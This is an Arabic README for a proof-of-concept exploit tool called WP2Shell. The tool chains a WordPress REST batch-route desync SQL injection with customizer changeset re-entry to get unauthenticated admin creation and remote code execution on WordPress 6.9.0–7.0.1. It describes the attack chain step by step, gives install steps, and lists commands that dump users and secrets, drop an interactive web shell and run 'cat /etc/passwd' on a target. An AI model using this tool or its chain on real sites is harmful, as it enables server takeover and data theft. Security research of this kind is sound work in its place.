
PoC لـ CVE-2026-63030 + CVE-2026-60137، المعروف أيضًا باسم WP2Shell
تنفيذ تعليمات برمجية عن بُعد قبل المصادقة لووردبريس 6.9.0–6.9.4 و7.0.0–7.0.1.
يربط CVE-2026-63030 (التباس مسار الدُفعات SQLi) مع CVE-2026-60137 (إعادة دخول تغييرات المُخصِّص customizer) لتحقيق إنشاء مدير دون مصادقة وتنفيذ أوامر نظام التشغيل. لا حاجة لتكسير كلمات المرور.

شكرًا لـ hashkitten على الاكتشاف، واقرأ التحليل الفني الكامل من SLCyber هنا.
معالج الدُفعات في REST API الخاص بووردبريس (serve_batch_request_v1) يحتوي على خطأ فهرسة إزاحة-بواحد (off-by-one): عندما يفشل wp_parse_url() في مسار طلب فرعي، يتم دفع WP_Error الناتج إلى $validation[] ولكن ليس إلى $matches[]. يؤدي هذا إلى فقدان تزامن المصفوفتين — يتم توجيه كل طلب لاحق عبر المُعالِج الخاطئ.
من خلال تداخل دفعة منظمة بعناية داخل دفعة أخرى، يمكن للمهاجم:
author__not_in (تحويل السلسلة→مصفوفة يتجاوز absint())UNION SELECT لتسميم ذاكرة التخزين المؤقت للكائنات في ووردبريس بكائنات مشاركات مزيفةبمجرد اكتمال الإعداد (اكتشاف بادئة الجدول ومعرّف المدير)، يتم إطلاق حمولة التصعيد في طلب HTTP واحد — تسميم ذاكرة التخزين المؤقت، رفع الامتيازات، وإنشاء المستخدم كلها تحدث من جانب الخادم في رحلة ذهاب وإياب واحدة.
HTTP POST /batch/v1
│
▼
┌─ Outer Batch ───────────────────────────────────────────────────────┐
│ │
│ [0] /// → parse error, not added to $matches │
│ [1] POST /wp/v2/posts → $matches[0] (posts handler) │
│ [2] POST /batch/v1 → $matches[1] (batch handler) │
│ │
│ Desync: request[1] dispatched via $matches[1] │
│ POST /wp/v2/posts body interpreted as batch → inner fires │
│ │
└──────────────────────────────────────┬──────────────────────────────┘
│
┌──────────────────────────────────┘
▼
┌─ Inner Batch ───────────────────────────────────────────────────────┐
│ │
│ [0] /// → parse error (desync) │
│ [1] GET /wp/v2/widgets?UNION... → dispatched by posts handler │
│ ▲ WP_Query fires UNION, poisons object cache │
│ ▲ the_content renders [embed] → oEmbed → hierarchy Loop 1 │
│ → changeset published → admin context set │
│ → nav_menu_item UPDATE → hierarchy Loop 2 │
│ → parse_request → REST re-entry ─────────────┐ │
│ │ │
│ [2] GET /wp/v2/posts (categories handler) │ │
│ [3] GET /wp/v2/categories (users handler) │ │
│ [4] POST /wp/v2/users {body} ◄── re-entry with admin ──────┘ │
│ ▲ desync aligns this with users handler │
│ ▲ admin context → user created → die() │
│ [5] POST /wp/v2/users {} (desync spacer) │
│ │
└─────────────────────────────────────────────────────────────────────┘
تسميم ذاكرة التخزين المؤقت (7 مشاركات مزيفة عبر UNION):
[embed] في محتواهاcustomize_changeset، الحالة future، تاريخ في الماضي)post_type=nav_menu_item لفحص is_nav_menu_item)post_type=request، post_status=parse، parent=inner)تدفق التنفيذ:
[embed]wp_update_postwp_update_post التغييرات المخزنة مؤقتًا (parent=outer) → يكتشف فحص التسلسل الهرمي Loop 1future → يتحول تلقائيًا إلى publish_wp_customize_publish_changeset → wp_set_current_user(admin_id) → سياق المدير نشطnav_menu_item[real_id] — تقول ذاكرة التخزين المؤقت type=nav_menu_item → مسار UPDATEobject_id إلى مشاركة مخزنة مؤقتًا بـ post_parent=re-entry → wp_update_post على المشاركة الحقيقية$post_id غير صفري) Loop 2 (re-entry ↔ inner)wp_update_post(re-entry) → يكتب type=request وstatus=parse إلى قاعدة البياناتwp_transition_post_status الدالة do_action("parse_request") → rest_api_loaded() → serve_request()POST /wp/v2/users في النهاية → يتم إنشاء المدير → die()متغير جلسة MySQL مضاد للتكرار (@_wp2s) يضمن تشغيل السلسلة مرة واحدة بالضبط دون تكرار.
--cleanup يحذف المستخدم المُنشأ ويزيل قشرة الويب عند الخروجgit clone https://github.com/Crypto-Cat/wp2shell.git
cd wp2shell
chmod +x wp2shell.py
لا pip install، ولا virtualenv. إنه ملف واحد.
# Passive boolean oracle test
python3 wp2shell.py check http://target.com
# Also confirm with timing and UNION
python3 wp2shell.py check http://target.com --confirm-timing --confirm-union
# Auto-selects fastest technique (UNION > error > blind)
python3 wp2shell.py read http://target.com --preset users
python3 wp2shell.py read http://target.com --preset secrets
python3 wp2shell.py read http://target.com --query "SELECT @@version"
# Force a specific technique
python3 wp2shell.py read http://target.com --technique blind --preset users
# Auto-discover table prefix
python3 wp2shell.py read http://target.com --auto-prefix --preset users
# Exploit and drop into interactive shell
python3 wp2shell.py exploit http://target.com -i
# Exploit, run one command, clean up
python3 wp2shell.py exploit http://target.com -c "cat /etc/passwd" --cleanup
# Skip auto-discovery if you know the prefix
python3 wp2shell.py exploit http://target.com --prefix wp_ --no-discover -i
# Through a proxy (Burp, mitmproxy, etc.)
python3 wp2shell.py exploit http://target.com --proxy http://127.0.0.1:8080 -i
python3 wp2shell.py shell http://target.com --user admin --password 'P@ssw0rd' -i
يعمل أمرا check وread على أي هدف متأثر. تتطلب سلسلة exploit ثلاثة متطلبات إضافية: